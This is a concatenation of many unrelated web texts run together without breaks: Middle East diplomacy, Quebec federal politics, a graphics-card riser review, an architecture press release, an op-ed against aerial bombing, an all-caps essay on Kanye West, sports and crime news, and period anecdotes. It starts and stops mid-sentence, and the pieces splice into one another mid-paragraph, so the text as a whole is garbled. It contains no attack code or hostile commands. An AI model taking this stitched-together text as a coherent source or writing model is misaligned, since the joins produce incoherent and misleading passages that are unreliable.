from having nuclear weapons. “If we succeed in reaching an agreement, the entire world, including Israel, will be safer for it,” he said. In his comments, Netanyahu said that cooperation between Israel and moderate Arab states in the fight against Islamic extremism could “open the door to peace” between Israel and the Palestinians. However, he said that the Palestinian leadership must end incitement against Israel if that is to occur. “The collapse of the old order has made clear to pragmatic Arab governments that Israel is not the enemy,” he said. Kerry expressed similar thoughts and noted that common cause against extremists was already “making steady, measurable progress” against Isis in Syria and Iraq. Kerry, who invested considerable time and energy in an unsuccessful attempt to broker an Israeli-Palestinian peace agreement, said he believed that redefining strategic interests among states throughout the middle east could lay the groundwork for a resumption in talks. He lamented, however, that conditions are not yet ripe for new peace negotiations, particularly due to heightened tensions between Israel and the Palestinians that have led to an unprecedented amount of frustration. And Kerry once again denounced continued Israeli settlement activity as “undermining the prospects for peace”. Another wild card, he said, are Israel’s upcoming elections. Elsewhere on Sunday, Syria said Israeli jets had bombed two installations, one near the capital, Damascus, and the second in a town near the Lebanese border. A report by Syrian state television described the attack as “an aggression”.Support for Quebec sovereignty is at a low point. The Parti Québécois is in third place in the polls and dropping. The Bloc Québécois isn't on track to do any better, despite the arrival of new leader Martine Ouellet in March. The future for the Bloc looks bleak. But instead of disappearing altogether — or making a return to its glory days of the 1990s and 2000s — could it instead live on as a 21st-century version of the Créditistes? With 10 seats in the 2015 federal election, the Bloc fell short of the 12 seats required to be an officially recognized party in the House of Commons, a status that comes with more perks and resources. The party has lacked this status since the 2011 election, when the Bloc, decimated by the New Democrats, won just four seats. Its woes have continued. The party raised just $91,197 from 1,125 contributions in the second quarter of 2017, its worst second-quarter performance since 2013. The Greens, who hold just one seat in the House and who received fewer votes nationwide than the Bloc did in Quebec in 2015, raised more than five times as much. The Bloc is averaging just 18 per cent support in the polls, down about a point from where it stood in the last election. While that is good enough for second place in the province thanks to the weaker support for the NDP and Conservatives, the Bloc would be unlikely to win more than the 10 seats it currently holds if an election were held today. Bloc Québécois leader Gilles Duceppe announces his resignation after the 2015 federal election. (Ryan Remiorz/Canadian Press) It's a far cry from the dominant Bloc that won an average of 43 per cent of the vote and 48 seats between 1993 and 2008. But historically, those results may have been anomalous. Instead, the Bloc's position today might be more in line with the past performance of alternative parties in Quebec. Conscription and the Bloc populaire The province's first split with the two traditional parties came as a result of the Second World War and the issue of conscription. Quebec voted 72 per cent against it in the 1942 plebiscite while it was approved by 80 per cent of voters in the rest of the country. The issue not only split Quebec Liberals in the province, but also gave birth to the Bloc populaire. In the 1945 election, conducted in the last months of the war, the Bloc populaire garnered 12 per cent of the vote and won two seats. Another 23 per cent of Quebecers voted for independent or "Independent Liberal" candidates, electing 13 of them. Social Credit, in its foray into Quebec, captured 4 per cent of the vote but did not elect any MPs. That independent streak continued into 1949, when three independents were elected and the Union des électeurs, a Quebec-based off-shoot of Social Credit, captured 5 per cent of the vote. In 1953 and 1957, more independent MPs were elected in Quebec. Caouette and the Créditistes In 1962, Social Credit captured 26 per cent of the vote in Quebec and won 26 seats. Though led by the Albertan Robert N. Thompson, Quebec provided all but four of Social Credit's seats thanks to Réal Caouette, the party's standard bearer in Quebec. The party repeated its success in 1963, winning 20 seats and 27 per cent of the vote in Quebec, but just four seats in the rest of the country. Caouette then split off to form the Ralliement des créditistes, winning 18 per cent of the vote and nine seats in Quebec in 1965 and 16 per cent and 14 seats in 1968. Social Credit subsequently reunited under Caouette's leadership, though it remained a Quebec-focused party. The Créditistes peaked again in 1972 with 24 per cent of the vote and 15 seats, but the party lost both seat and vote share in 1974 and again in 1979, when Fabien Roy took over. In 1980, the Créditistes slid to just 6 per cent of the vote in Quebec and were shut out of the legislature. They wouldn't return. But during their heyday from 1962 to 1979, the Créditistes averaged 21 per cent of the vote and 14 seats in Quebec — not dissimilar to where the Bloc finds itself today. And that is a more common position for non-national parties in Quebec. The Bloc's period of strength, which stretched roughly 20 years from its inception in 1990 to its defeat in 2011, represents a short period of time in the 75 years since the conscription plebiscite of 1942. Different parties but same role? The Bloc Québécois is not the direct successor of the Crédististes. Though Caouette's party espoused Quebec nationalism and support for the French language, it was not in favour of Quebec sovereignty. It was a social conservative party that subscribed to the eccentric social credit economic theory, while the Bloc Québécois is largely to the left of the political spectrum. But the Bloc could play the same role that the Créditistes did in the 1960s and 1970s in providing an outlet for nationalist voters in Quebec. Pierre Trudeau and Réal Caouette talk during a break in the 1968 federal leaders' debate. (Canadian Press/Peter Bregg) With sovereignty no longer a pressing cause, that could be the party's only way of maintaining relevancy. The Bloc was born out of the failure of the Meech Lake Accord, and the national unity crises of the 1990s kept it an important force in federal politics. Its support was beginning to drift in the early 2000s until it was saved by outrage over the sponsorship scandal. While the Bloc no longer has these issues to keep it afloat, Quebecers have a track record of voting for an alternative option on the ballot. But with the Parti Québécois finding itself squeezed out by the centre-right nationalist Coalition Avenir Québec and the left-wing sovereigntist Québec Solidaire at the provincial level, this could also serve as a warning to the Bloc Québécois that it can be easily replaced. In the end, the Créditistes did disappear from the electoral map. Nevertheless, history suggests that a significant proportion of Quebecers are unlikely to move away entirely from supporting a regionally focused party. That might mean the Bloc Québécois could endure — though much-reduced — for some time to come.This works, here Is what it did for me. I have three video cards. two gtx 1070's and one gtx 560 ti without this card my motherboard would only see the 1070's in the primary slot. If i put them on a riser in any other slot they were not detected. they would be detected if the riser was in the primary slot. the 560 would get detected no matter where I put it so at max I could have one 1070 and the 650 going. I plugged this in to a random slot and connected my 2nd 1070 and the 560 card to it. when I got in to windows I could see the two 1070's but not the 560. shutdown connected both 1070's to this put the 560 in the primary slot started up everything was detected. I used the same slot on the card that the 560 was not detected in for one of the 1070's so its not a port problem its just this riser does not see the 560. So moral of the story it may not work for older video cards but it did make it so I could see all my 1070's running two cards at exactly the same speed as when they were in the primary slot. I have two more 1070's on the way but probably wont update this review unless I have trouble.West Hollywood Belltower was desinged by Tom Wiscombe Architecture to create a new creative iconic object for billboard with an unprecedented breadth of commercial, cultural, and interactive media content. From the architects: Our design is a vertically-oriented, three-dimensional Belltower, in contrast to the ubiquitous flat, horizontal billboards of the Sunset Strip. In particular, it avoids the “sign-on-a-stick” billboard typology in favor of something spatial and interactive. It operates on the level of deep urban archetypes, such as ancient bell-towers, clock-towers, and obelisks, which are associated with civic space and community. It calls for civic engagement and allows for diverse voices to be heard. It expresses the contemporary transition from an era of centrally-controlled media empires to a time of great diversity in marketing approaches and stakeholders. It speaks to a world where commercial and cultural content can be hybridized, and media is no longer a just a way of advertising but a way of life. On its diamond-like outer “petals”, the Belltower provides for a combination of commercial media, feed from cultural events (such as the recent Elton John/ Lady Gaga appearance at Tower Records), City of West Hollywood branding and news, and video art interventions curated by our partner the Museum of Contemporary Art (MoCA). This diverse range of content will be composed and programmed by our content designer Imaginary Forces. The outer petals feature a mix of high-resolution LED technology, video projections, and theatrical lighting, all integrated into a custom-patterned perforated metal skin. In its interior, the Belltower contains a sculptural figure that is coated with interactive and trending social media. This figure can only be glimpsed by passing cars; it is primarily intended to engage the pedestrian scale. The interior space is vertical, immersive, and engages the public imagination. Pedestrians can interact with it directly via their smartphones. The Belltower is linked to the City through an inviting public square, where pedestrians can meet, relax, and play. This square can also be used for cultural events, using the Belltower as a backdrop. Drought-tolerant landscaping connects the Belltower and the public square to the lush landscaping of the local environment, creating a totally integrated social experience. True to the values of West Hollywood, the project is sustainable both socially and environmentally. Specifically the design includes a solar array that will produce energy to operate the project, permeable ground materials for water runoff, and recyclable aluminum skin. Ultimately, the significance of this project is that it will exist simultaneously in two realms: the local physical space of the Sunset Strip and the global digital space of social media. Potentially the most “Instagrammable” billboard in the world, this project will actively share the uniqueness and creativity of West Hollywood with the world. view more futuristic architectureA Palestinian woman is standing in her kitchen when she hears a deafening bang. Rushing to her living room she sees her family in pieces, spread across floors, walls and ceiling. The horror is total and meaningless. Nobody meant it to happen, so what was its cause? The tragedy in Gaza surely marks the time when the world declares air-launched bombs and long-distance shells to be illegal under the 1983 Geneva convention. They should be on a par with chemical munitions, white phosphorous, cluster bombs and delayed-action land mines. They pose a threat to non-combatants that should be intolerable even in the miserable context of war. I can accept Israeli claims that they are not intentionally targeting civilians in Gaza - or the United Nations base set on fire yesterday. But the failure of their chosen armaments had the same effect. The civilian death toll is now put at 673, mostly women and children. It is barely conceivable that the most accurate weapon of war, an infantryman, would deliberately enter a house and massacre unarmed women and children as they have their dinner. As a result, mercifully few do. When such cold-blooded murder is committed, from the 1968 My Lai killings in Vietnam to those now coming to light in Iraq, we are appalled, and inquiries, trials and disciplinary procedures follow. Those killing from the air need have no sight of the carnage they unleash. They are placed at both a geographical and a moral distance, with a licence allowed no soldier on the ground. Whether they are dispatching free-fall bombs or GPS-guided missiles, tank shells or predator drones, Hamas's Qassam rockets or improvised explosive devices, they know they often miss their targets, but they launder any carnage as "collateral damage" and leave politicians to handle the backlash. The soldier shrugs and walks away, with no obligation to humanity beyond the occasional apology and a reference to the other side being just as bad. If gas, landmines, chemical weapons and cluster munitions are now banned - a ban broadly obeyed by most civilised armies - why not aerial bombardment? Instead, bombing is becoming ever more prevalent. It precedes any operation, as a sort of overture, and eagerly takes part in each tactical twist. Counter-insurgency war, in Iraq and Afghanistan, has seen western armies take heavy casualties. But such is the political aversion to them that Israeli, American and British ground forces operate under strict "force protection" rules to minimise losses. This has led to the reckless use of stand-off munitions, as regularly reported by embedded correspondents. Rather than employ infantry to clear an apparently hostile settlement, commanders call in air strikes and pound it to rubble. The Israelis have responded to the Hamas bombardment of their towns with a far heavier bombardment of Gaza. Both endanger civilians to a degree that cannot be other than criminal. That human shield tactics may be involved is no excuse: the law does not permit the killing of innocents in the hope of reaching the guilty. The bombing of urban infrastructure is an act of terror, meant to weaken the resistance of victims and cause them to surrender. This was the case with the west's bombing of Belgrade in 1999 and Baghdad in 2003, the latter under the openly terrorist rubric of "shock and awe". Neither achieved the ambition proclaimed by the champions of air power, Bomber Harris's promise "to win the war from the air". In an extraordinary article on these pages yesterday, David Miliband declared the title "war on terror" to be "misleading and mistaken". It apparently "gave the impression of a unified, transnational enemy, embodied in the figure of Osama bin Laden and al-Qaida". In reality terrorism was a disparate phenomenon, often internal to state politics. Besides, wrote the foreign secretary: "Terrorists succeed when they force countries to respond with violence and repression." Miliband is right. But those who have been saying this since 9/11 wonder what has caused this sudden conversion. Did Miliband protest when Tony Blair reportedly pleaded with George Bush to be the first to bomb Kabul in 2001? Is this the same Miliband who sat silent as a member of the government that supported "shock and awe"? Is he now pleading with the Americans to stop using weapons against the Pashtun - such as aerial assassination - that exacerbate both war and terror? The truth is that the war Miliband is still waging against militant Islam has been conducted largely by weapons of terror, namely bombs and long-distance artillery shells. They have killed untold thousands of non-combatants since the "war" began in 2001 - a violence far more devastating than the Israelis have inflicted on Gaza - destroying unimaginable numbers of homes. In his book Shock of the Old, the science historian David Edgerton cites the bomber as the most overrated of all weapons of war. Glamorous, noisy, ostensibly sophisticated and easily marketed to "techno-dazzled" generals, it has proved an ineffective killing machine. Its use against the perpetrators of terror is a classic of soldiers fighting the last war but one. In Vietnam, Serbia, Lebanon, Iraq and Afghanistan, those deploying bomber power constantly promised more than they could deliver, as they did before D-day. As Correlli Barnett has remarked, as in Vietnam and Kosovo so now in Gaza, the airman's bombast, that he could terrify the enemy into surrender, must be rectified by troops on the ground. Time and again the bomber has been outgunned by the AK-47. No weapon fired at a distance can be sure of its target. As Colin Powell once said, the phrase "tactical surgical strike" had him racing for the protection of his bunker. All the electronics in the world seem unable to prevent constant friendly fire deaths. Meanwhile
the song as an "anti-abortion anthem" and thought the focus of the song is "the tremendous selfishness of adults who cannot understand the importance of families or children."[5] WELL, AS YOU CAN SEE, MOST OF THOSE INTERPRETATIONS ARE DIRECTLY CONTRARY TO ONE ANOTHER. BUT MORE TO HULK'S CONCERN, NONE OF THOSE INTERPRETATIONS REALLY HELPS US UNDERSTAND THE SONG BECAUSE NONE OF THEM QUITE SEEMS TO SPECIFICALLY CAPTURE WHAT MAKES KANYE KANYE. NONE OF THEM CAPTURES THE SPECIFIC ANGST OF HOW HE APPROACHES HIS ART. NONE OF THEM SEEMS TO ACCOUNT FOR HOW HE CAN ZERO IN ON THE MOST SOLIPSISTIC, SELFISH IDEA WHILE SIMULTANEOUSLY TRANSCENDING IT TO PROVIDE AN EMOTIONAL AND EXISTENTIAL PLEA. AND MOST IMPORTANTLY, THOSE INTERPRETATIONS FORGET THE ONE THING WE ACTUALLY DO KNOW ABOUT THIS SONG. KANYE WROTE THIS SONG WHILE KIM KARDASHIAN WAS PREGNANT. IT SORT OF THROWS ALL OF IT INTO SHARP RELIEF. WHATEVER LACKING PRONOUNS MAKE US FEEL LIKE THIS IS PART OF SOME CRYPTIC PUZZLE. BUT THE TRUTH IS THAT JUST EVERYTHING IN THE SONG, WHETHER PARABLE OR DIRECT CONFESSION, TAPS INTO THE CLEAR WORRIES ABOUT FATHERHOOD. IT IS THE PROTO-VERSION OF ABSOLUTELY EVERYTHING EXPRESSED IN IN THAT SNL40 PERFORMANCE. AND IN THIS CASE, KANYE WEST WILL TAKE ONE OF THE MOST POWERFUL SONGS EVER WRITTEN ABOUT THE HORRORS OF RACIAL VIOLENCE, AND VIEW IT THROUGH HIS SOLIPSISTIC METAPHOR OF FATHERHOOD BEING HIS OWN NIGHTMARE. HIS OWN UNHOLY MATRIMONY. HIS OWN DEATH. SO MANY PEOPLE ARE OFFENDED BY THE VERY NATURE OF THIS IDEA, AND PROBABLY RIGHTFULLY SO, BUT HULK CAN'T HELP BUT SEE THE EXPRESSION AS, WELL, THE MOST "KANYE" IDEA EVER. IT'S WILD AND IRRESPONSIBLE AND RECKLESS AND BAD BUT IT IS HONEST AND RAW AND TRUE. AND LIKE MOST OFFENSIVE THINGS THAT ARE SAID OR DONE, THEY ARE ACTUALLY JUST PART OF THE SADDEST HUMAN PORTRAITS IMAGINABLE. WHICH JUST MEANS THAT TO HULK, KANYE'S ARTISTIC SOLIPSISM IS FASCINATING, SINGULAR, HILARIOUS AND ACHINGLY SAID. WHICH MEANS IT'S NO ACCIDENT THAT THE FINAL OUTRO OF "BLOOD ON THE LEAVES" IS JUST A SLOW DEVOLVING INTO THE NOTION OF COMPLETE LONELINESS. AND THE SAD RESIGNATION THAT "LIVIN ALL I HAVE." THAT MAY SOUND IMPOSSIBLE TO SOMEONE WHO LIVES A LIFE AS KANYE DOES. BUT IT'S BAD ENOUGH TO BE TRUE. 5. THE CAVERNOUS GULF THE OTHER WEEK KANYE PERFORMED AT THE BILLBOARD MUSIC AWARDS AND THEY CENSORED HIM UP TO A FULL MINUTE, FOR LONG PERIODS OF A TIME, NOT JUST FOR THE STANDARD SWEARING CLAUSES, BUT FOR MENTIONS OF "MIDDLE AMERICA" AND EVEN THE INNOCUOUS MENTION OF HAVING "LEATHER BLACK JEANS ON." KANYE WAS FURIOUS WITH THE WAY IT WENT DOWN AND DESPITE WHAT SOME SEEM TO SAY, IT'S THE SUREFIRE SIGN OF SOMEONE WHOSE STATEMENTS ACTUALLY PROVOKE CONTROVERSY INSTEAD OF THOSE WHO PURPOSEFULLY COURT IT. BUT THE IDEA OF HIS INTENT GETTING LOST, THE IDEA OF THESE LYRICS ACTUALLY LIGHT A FIRE UNDER EXECUTIVES ASSES, THE IDEA THAT KANYE CAN SCREAM OUT TO AN AUDIENCE AS WHOLE MINUTES ARE CENSORED, AND THAT THE WHOLE TIME PEOPLE CAN MISS WHAT'S ACTUALLY BEING SAID... WELL, THERE MIGHT NOT BE ANYTHING THAT SUMS HIM UP BETTER. KANYE IS THE ONE POP ARTIST WHO REALLY, TRULY SEEMS TO HAVE AN UNAPOLOGETIC, HONEST MIND. BUT IT IS A MIND THAT IS PERHAPS UNLIKE ANYONE ELSE. IT'S A MIND THAT SEEMS SO SINGULAR AND DISTANT. PUT SIMPLY, THERE IS A GULF BETWEEN US. KANYE IS APART FROM THE REST OF THE WORLD. AND IT'S ALWAYS BEEN WHAT MAKES HIM SO FASCINATING TO US. THERE'S A NEW ALBUM AND HULK HAS NO IDEA WHAT IT'S GOING TO SOUND LIKE. AND NO MATTER WHAT, HULK CAN'T WAIT. IT DOESN'T MATTER THAT KANYE WEST MAY HAVE THE MOST RIDICULOUS AND IRRESPONSIBLE LIFE OF ANYONE. IT DOESN'T MATTER IF HE SEEMS COMPLETELY UNTETHERED FROM OUR OWN ASPIRATIONAL NOTIONS OF GOODNESS AND RESPONSIBILITY. KANYE WEST DOESN'T NEED TO BE A PART OF ANYTHING HULK STANDS FOR. KANYE ONLY NEEDS TO BE HIMSELF. BECAUSE AS HULK STANDS AND STARES ACROSS THAT CAVERNOUS GULF BETWEEN US, IT COMES WITH THE ADMITTANCE THAT THERE IS STILL NO OTHER ARTIST WHO HULK FEELS THAT HULK KNOWS BETTER THAN KANYE WEST, IF THAT MAKES SENSE. THAT THERE IS NO ARTIST WHO IS MORE NAKEDLY HUMAN, ANIMALISTIC OR RAW, WHILE SIMULTANEOUSLY BEING VIVID, ENTHRALLING AND STRANGE. AND THE MOST IMPORTANT PART OF THIS IS THE REALIZATION THAT THESE UNBRIDLED QUALITIES ARE PRECISELY WHAT MAKES KANYE SO WORTHY OF OUR ATTENTION, AND POSSIBLY, OUR CONCERN. BECAUSE IT ALSO COMES WITH THE UNDERSTANDING THAT KANYE STANDS ACROSS THAT SAME GULF, TRYING TO COMMUNICATE AS BEST HE CAN, PRACTICALLY SHOUTING AT THE TOP OF HIS LUNGS. TRYING TO LET US UNDERSTAND THAT WEIRD, ISOLATED AND STRANGE BRAIN OF HIS. THERE IS A KIND OF IMPOSSIBLE SADNESS TO THIS IDEA. A SADNESS THAT ACTS AS A MOTIVATION FOR THE BEHAVIORS WE DEEM AS "WEIRD" BUT MAY INDEED BE A PART OF SOMETHING DEEPER, MORE CLINICAL AND ACHINGLY LONELY. AND IT SEEMS MORE AND MORE CLEAR TO HULK THAT KANYE IS REALIZING THAT MAYBE WE WILL NEVER KNOW EXACTLY WHY HE'S DOING AND SAYING THESE THINGS. THAT WE MIGHT BE ABLE TO KNOW HIM, TO SEE HIM, BUT NEVER QUITE BE WITH HIM IN THAT SPACE HE SO DESPERATELY CRAVES. ALL HE WANTS IS TO TELL US WHAT IT IS LIKE TO BE AMONGST THE YELLOW EYES. BUT IT MAY BE IN A LANGUAGE WE CAN NEVER UNDERSTAND. <3HULKThe 2014-15 season was a nightmare for Kevin Durant, whose MVP defense and championship aspirations for his Oklahoma City Thunder went up in smoke thanks to a Jones fracture that wouldn't heal. After injuring his right foot during the preseason, Durant underwent surgery to put a screw down the center of his fifth metatarsal. He returned a month into the regular season, but had another surgery - this one to replace the screw because it was irritating an adjacent bone (the cuboid). Just as nightmares often do, the fracture recurred. "It had a crack in it," Durant told Bleacher Report's Kevin Ding of his pesky foot bone. The breakage necessitated a third surgery, which ended the 26-year-old's season after just 27 games. Durant was determined to put the issue to permanent rest. He opted to have a third surgery using non-FDA-approved bone-graft material. The procedure - designed to protect against bone overgrowth - would prolong his recovery time. He describes it like a crude arts and crafts project: "They stuffed some bone-graft thing in, and they pasted over the top of the area," he said. "That healed up in a couple of weeks. But then they stuck something else in there just to smooth it out and make sure it was thick. They did a lot. "I got like an extra layer of bone on the side of my foot that they put in there. That's why it took longer to heal. Keep it firm. I could've gone another route with surgery. That was the longest, and that was the safest." Now Durant is back in action, working his way back into game shape at USA Basketball's minicamp in Las Vegas. He's focused on the upcoming season - specifically on "not getting cussed out" by teammate Russell Westbrook. "I can't do too much no more," he said. "I love putting in work; I love being out on the court. But early on, I have to ease back into that part of it - two-a-days or working out after practice or working out when I land in a city or whatever I used to do." Though the All-Star is cleared to play and his foot is "healed enough that based on basic evidence it should not break again," the bone will continue to heal for more than a year, Ding points out. The good news, for now, is surgery was a success and Durant feels comfortable again. The nightmare is presumably over. "I knew it was over after this," he said. "No more fracture, no more irritation in my foot. Everything was perfect in the third one."Spurs boost in Damiao chase as Brazilian striker considers quitting Internacional Tottenham target Leandro Damiao has hinted that he could be ready to leave Internacional. Damiao is under contract in Brazil until 2014 but he has been watched by several clubs in England, Spain and Italy. Tottenham target: Striker Leandro Damiao (centre) could be leaving Internacional Spurs failed to sign Damiao last summer but Harry Redknapp remains keen and the Spurs boss will be encouraged by the 22-year-old forward's latest comments. Brazilian Damiao said: 'I can't say much, it depends on Internacional too. Of course my wish is to stay, but there comes a time when you need to go, but I don't know whether it is that time. If an offer arrives, then we will decide.' Internacional boss Dorival Junior does not want to see Damiao leave but admitted: 'We have to get ready. There is nothing concrete yet but it is natural that several players draw attention. 'We will try to anticipate any loss by signing another player to minimise any damage to the team.'HOUSTON - Houston police are searching for a man they say stole from customers who were leaving a bank. Carlos Rusi has two open felony warrants for two cases in January that police referred to as "bank jugging." That is when someone follows a customer leaving a bank with the intent to steal from the customer. On Jan. 4, police said Rusi and Chikei Williams burglarized a man's vehicle after following him from a Houston area bank. They were later caught and posted a $100,000 bond. On Jan. 13, Rusi and Williams were charged in another case in which police said the two men followed another man from a Gulfgate area bank and burglarized his vehicle. Both men were again able to post a $100,000 bond. On Feb. 9, police said Rusi, Deandre James and Michelle Sanders were caught shoplifting from a clothing store in the Gulfgate area. Rusi was able to post two $5,000 bonds for charges of engaging in organized criminal activity and evading arrest. "Because he engaged in criminal activity while he was out on bond on the two felony charges, those bonds are revoked," Lt. Jay Chase said. Rusi's criminal history includes more than 30 arrests for charges including robbery, marijuana possession and unlawful carry of a weapon. "People in the community know him, he's from this community," Chase said. "He is considered dangerous." He was also sentenced to five years in the Texas Department of Criminal Justice jail for robbing an undercover Houston police officer during a narcotics transaction in 2009. "Given the propencity for criminal activity that he has, we think it's very important to locate the individual, and get him back in the system," Chase said. Police believe Rusi is hiding in northeast Houston. Anyone with information is asked to call Crime Stoppers at 713-222-TIPS (8477). Copyright 2017 by KPRC Click2Houston - All rights reserved.(Reuters) - Saudi Arabia said on Wednesday it exchanged prisoners with its foes in Yemen’s Houthi movement and that a calm was holding along their border, in signs of unprecedented progress to end their 11-month war. The statement on state news agency SPA said Yemeni tribal mediators had facilitated the release of seven Yemenis held by the kingdom in exchange for a detained Saudi lieutenant. An alliance of mostly Sunni and Arab countries launched air strikes and a ground offensive against the Houthis on March 26 after an armed offensive by the Iran-allied group pushed Yemen’s internationally backed government into exile. The conflict had fallen into a stalemate, in which the Houthis still control the capital Sanaa and other major cities in central Yemen while its hardened guerrilla forces shelled and harassed Saudi forces along Yemen’s rugged northern frontier. Saudi state news said the prisoner initiative was launched by Yemeni tribal figures to reduce the violence in the border area and facilitate delivery of badly needed aid, and that the apparent truce could help end the conflict. “The leadership of the coalition forces welcomed the continuation of a state of calm along the border... which contributes to arriving at a political solution,” SPA reported. On Tuesday, two officials from a Houthi-run government body in Yemen told Reuters that senior representatives of the group had arrived in Saudi Arabia for peace talks. The United Nations says nearly 6,000 people have been killed in Yemen’s fighting. Hundreds of thousands have been displaced.Boko Haram issued a new video Sunday mocking the social media campaign that highlighted the plight of the 223 schoolgirls kidnapped by the Islamists in north-east Nigeria. In a broadcast apparently marking the girls’ third month in captivity, Abubakar Shekau, the Boko Haram leader, said they would not be freed until the government released the “army” of the group’s fighters held in Nigerian jails. Shekau also claimed responsibility for three bombings last month and voiced support for Islamic State, the extremists who have seized much of northern Iraq. The video served as a direct snub to Malala Yousafzai, the Pakistani schoolgirl and women’s rights campaigner who arrived in Nigerian capital, Abuja, over the weekend to voice support for the #BringBackOurGirls campaign. Ms Yousafzai, 17, who moved to Britain after being shot by the Taliban, met parents of the missing girls yesterday and was also expected to hold talks with Goodluck Jonathan, Nigeria’s president. As she did so, serious doubts emerged about the girls’ chances of ever being rescued. In briefings with The Daily Telegraph over the weekend, Western diplomats said that, despite international publicity, the efforts to find the hostages were little further on than they were in May, when Britain, America and France began to help. With neither a prisoner swap or a rescue considered likely, there was little real prospect of any “breakthrough” in the foreseeable future, they said. One diplomat said: “It is hard to see this being resolved either by a rescue or a prisoner swap deal, although that is also true for a lot of other girls kidnapped by Boko Haram in recent months and years, who are now bush wives. What may happen is that from time to time, some may seize a chance to escape, or a deal may be done with one particular local faction that is holding some of the hostages. Over the course of a few months or years they may begin to reappear.” The diplomats’ gloomy assessment is likely to dismay the girls’ families, whose hopes of being reunited with them have been sustained largely by the scale of the international response. On Sunday, Malala, described the girls as “sisters” and said she was going to “speak up for them until they are released”. Diplomats say the reality is that even if the girls could be located – which is hard, given that the area being searched is “twice the size of Belgium” – it would be impossible to mount a rescue without Boko Haram killing a large number first. Western governments have also explicitly told Mr Jonathan not to agree to Boko Haram’s demands for a prisoner swap, saying there should be no negotiations with such a ruthless terrorist group. In the 16-minute video, Shekau addressed that point explicitly. “Bring Back Our Girls… bring back our army,” he said, referring to the Boko Haram fighters currently in custody. While reports have emerged in recent weeks of indirect contacts between Boko Haram and the government with a view to a prisoner swap, diplomats say most of the negotiations have been isolated, independent initiatives without any centralized command, or any connection to Mr Jonathan’s office. Many in the Nigerian government and military also strongly oppose any kind of swap, and would try to derail any such plan even if it had Mr Jonathan’s backing, said one Western official. In the video, Boko Haram also claimed responsibility for a bomb in a shopping centre in Abuja on June 25 that killed 22 people, and for two explosions the same day at a fuel depot in Lagos, Nigeria’s commercial hub. Nigerian officials had previously claimed the two Lagos blasts were caused by a gas leak in order to avoid causing panic in the city, which has so far largely escaped Boko Haram’s violence. But security sources have privately admitted that at least one of the blasts was caused by a female suicide bomber, and yesterday Shekau boasted of personally ordering the volunteer “who went and detonated it.” Shekau, who appeared in the video flanked by at least 10 gunmen in front of two armoured personnel carriers, also expressed support for the Abubakar Al-Baghdadi, the leader of the Islamic State, Ayman al-Zawahiri, the leader of Al-Qaeda, and Mullah Omar, the leader of the Taliban.UPDATE: Johnson has told a reporter that this is something he’s looking at and that he will be in New York tomorrow to do “as many media appearances as they can wind me up and send me in that direction.” But he said he wasn’t announcing the switch tomorrow. Stephen Gordon, who identifies himself as the Southern Regional Director of the Gary Johnson 2012 campaign, told me: “I personally spoke with Governor Johnson a couple of days ago and outlined many of the pros and cons of running for the LP’s presidential nomination. It’s my opinion that certain senior leaders within the GOP have intentionally thrown as many roadblocks as possible into the governor’s path and that the Libertarian Party will be a much more welcoming home to someone of his true small-government ideology and proven track record.” Gordon added that as of their last conversation the Governor was not yet decided but was strongly considering the idea. Numerous sources have reported to IPR that former two term Governor and Republican presidential candidate Gary Johnson is going to announce his switch to the Libertarian Party race tomorrow. Rumors have been swirling for weeks now that former Governor Johnson was going to run third party or become a member of the Libertarian Party, but now the rumor has been confirmed with a number of insiders. In 2000, Governor Gary Johnson rebuffed efforts to recruit him into the Libertarian Party, stating: “I do consider it very flattering. But I’m a Republican, and I’m not going to run for President”.Sex trade campaigners have claimed backing from 80 TDs and senators for their demands to criminalise prostitution in Ireland. An umbrella group, calling itself 'Turn off the Red Light', want to see Nordic-style legislation introduced here which would grant sex workers immunity while those who buy sex are prosecuted. While it is illegal to solicit for sex on the street or in public, it is currently not a criminal offence to buy or sell sex here. Sarah Benson, of Ruhama - one of 48 organisations in the campaign - said the threat of fines and criminal convictions similar to that in Sweden, Norway and Iceland was needed to stamp out the exploitation of vulnerable sex workers. “The profile of sex buyers is that they tend to be men of means, they tend to be married, they are people who care about their reputations,” she said. “Consistent studies of sex buyers in the UK and the US indicate the greatest deterrent to buying sex would be either a criminal offence or being named. That’s what we will be driving at.” Ms Benson added: “We wouldn’t be looking to lock up (sex customers) and throw away the key. “The motivation is to create a deterrent effect in recognition that the trade is exploitative, that those who are bought for sex suffer serious harm as a consequence, and that really we would like Ireland to adopt a similar message to other countries who say buying sex is not okay.” Ms Benson was among a delegation from Turn off the Red Light who met with four TDs, representing the Independents technical group, today at Leinster House, including Mattie McGrath, Maureen O’Sullivan, Thomas Pringle and Catherine Murphy. She said the campaign is highlighting the reality of Ireland’s sex trade as a highly organised, criminal enterprise. “The experience of prostitution for the vast majority of women and girls, and the small number of men and boys involved, is that it is exploitative and dangerous,” she said. “The campaign has identified that this exploitation and organised criminality is facilitated by those who actually purchase sex, because it is a demand-led trade.” Ms Benson said they had a very positive response from the Independents. The campaign claims support from 80 Oireachtas members. The Department of Justice said it was still working on a discussion document to inform possible new laws on prostitution that was expected to be published by the end of last month. “Work on preparation of the consultation document is continuing, it is hoped that the consultation document will issue as soon as possible,” said a spokeswoman. PAISLAMABAD: Pakistan has told both Indian journalists stationed in Islamabad that they must leave within a week, the journalists told Reuters on Wednesday, saying they had been informed that their visas would not be renewed. Late on Tuesday night, Snehesh Alex Philip of The Press Trust of India and Meena Menon of The Hindu received letters telling them that their visas would not be renewed. No reason was given. Both had been in Pakistan for less than a year. Their visas were valid until March 9, 2014 and both had submitted applications to renew their visas before the expiration date, according to people familiar with the matter. After their original visas expired, they were issued letters stating that their visa renewals were being processed, as is standard practice for foreign journalists in Pakistan. Later they were told to start making preparations to leave within a week. Last year, the government expelled a reporter from The New York Times.Call the cops It was 1971, I was 11. We had “the discussion” and my mother had prepared a kit for me in anticipation of the onset of womanhood – it was all very scary – hidden away in my wardrobe waiting for me. The sanitary towels were so thick I thought I would have to walk like John Wayne and the belt looked like an instrument of torture. Then I saw a small ad – I think it was in Jackie magazine – offering trial tampons if I sent a stamp and my address – easy and discreet, I thought. About a week later I came home from school to find a small box open on the kitchen table and my parents looking furious. Dad was still in his police uniform, the panda car parked outside. The package had arrived and my mother saw my name (I never got sent parcels and this was the time of the IRA bombs and police were particularly at risk). She panicked and called my father at the police station. The package was collected in a police car and taken to the station. Several policemen gathered to investigate – imagine the hilarity and my father’s embarrassment when it was finally opened. Sue Spillman Dad takes charge My first period came when my mother was away so it was just my father and little brother in the house. I remember my father handling it with aplomb, he beetled off to the chemist and came back with about four boxes of tampons in various sizes. We have had our ups and downs over the years, but I will never forget that Saturday morning. Me, mystified, on one side of the bathroom door, him on the other, shouting instructions from the leaflet: “Have you 